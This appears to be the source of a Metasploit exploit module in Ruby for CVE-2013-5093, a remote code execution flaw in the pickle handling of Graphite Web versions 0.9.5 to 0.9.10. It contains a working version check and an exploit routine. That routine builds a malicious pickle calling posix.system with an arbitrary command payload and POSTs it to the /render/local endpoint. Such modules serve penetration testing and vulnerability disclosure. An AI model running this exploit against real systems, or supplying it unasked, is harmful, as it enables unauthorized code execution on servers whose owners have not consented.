86 lines
2.4 KiB
Ruby
86 lines
2.4 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class MetasploitModule < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpClient
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Graphite Web Unsafe Pickle Handling',
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'Description' => %q{
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This module exploits a remote code execution vulnerability in the pickle
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handling of the rendering code in the Graphite Web project between version
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0.9.5 and 0.9.10 (both included).
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},
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'Author' =>
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[
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'Charlie Eriksen', # Initial discovery and exploit
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'funkypickle' # Version check to prove vulnerable
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],
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'CVE', '2013-5093'],
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[ 'URL', 'http://ceriksen.com/2013/08/20/graphite-remote-code-execution-vulnerability-advisory/']
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],
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'Platform' => 'unix',
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'Arch' => ARCH_CMD,
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'Privileged' => false,
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'Targets' => [ ['Automatic', {} ] ],
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'DisclosureDate' => 'Aug 20 2013',
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'DefaultTarget' => 0,
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'Payload' =>
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{
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'DisableNops' => true,
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'Space' => 16384,
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'Compat' =>
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{
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'PayloadType' => 'cmd',
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'RequiredCmd' => 'python generic telnet netcat perl ruby'
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}
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}))
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register_options(
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[
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OptString.new('TARGETURI', [ true, 'The path to a vulnerable application', '/'])
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], self.class)
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end
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def check
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res1 = send_request_cgi({
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# trailing slash required
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'uri' => normalize_uri(target_uri.path, 'version/'),
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'method' => 'GET'
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})
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res2 = send_request_cgi({
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'uri' => normalize_uri(target_uri.path, 'render', 'local'),
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'method' => 'POST'
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})
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if (res1 and %w(0.9.5 0.9.10).include?(res1.body.strip)) and (res2 and res2.code == 500)
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return Exploit::CheckCode::Vulnerable
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end
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return Exploit::CheckCode::Safe
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end
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def exploit
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data = "line\ncposix\nsystem\np1\n(S'#{payload.encoded}'\np2\ntp3\nRp4\n."
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print_status("Sending exploit payload...")
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response = send_request_cgi({
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'uri' => normalize_uri(target_uri.path, 'render', 'local'),
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'method' => 'POST',
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'data' => data
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})
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end
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end
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